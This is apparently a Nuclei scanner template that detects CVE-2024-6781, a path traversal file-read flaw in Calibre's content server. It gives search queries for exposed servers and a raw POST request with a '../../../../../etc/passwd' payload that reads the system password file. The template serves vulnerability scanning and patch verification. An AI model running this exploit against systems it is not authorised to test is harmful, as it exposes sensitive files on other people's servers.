id: CVE-2024-6781

info:
  name: Calibre <= 7.14.0 Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
  impact: |
    Attackers can exploit the content server's export functionality to read arbitrary files from the system through path traversal.
  remediation: |
    Update Calibre to version 7.15.0 or later to address the arbitrary file read vulnerability.
  reference:
    - https://starlabs.sg/advisories/24/24-6781/
  classification:
    cve-id: CVE-2024-6781
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.93721
    epss-percentile: 0.99857
    cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: calibre-ebook
    product: calibre
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 2
  tags: cve,cve2024,calibre,lfi,vuln

http:
  - raw:
      - |
        GET /interface-data/books-init HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: book_ids
        internal: true
        json:
          - '.search_result.book_ids[0]'

  - raw:
      - |
        POST /cdb/cmd/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - '"result":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f79e45247d4e40c155438bdb222283838d834ad94feb0cd8a7903e624a7a690e022020bab195c6d491aa9ae39fd08633c05e4008cec22dd36c8605892dc311bd4692:922c64590222798bb761d5b6d8e72950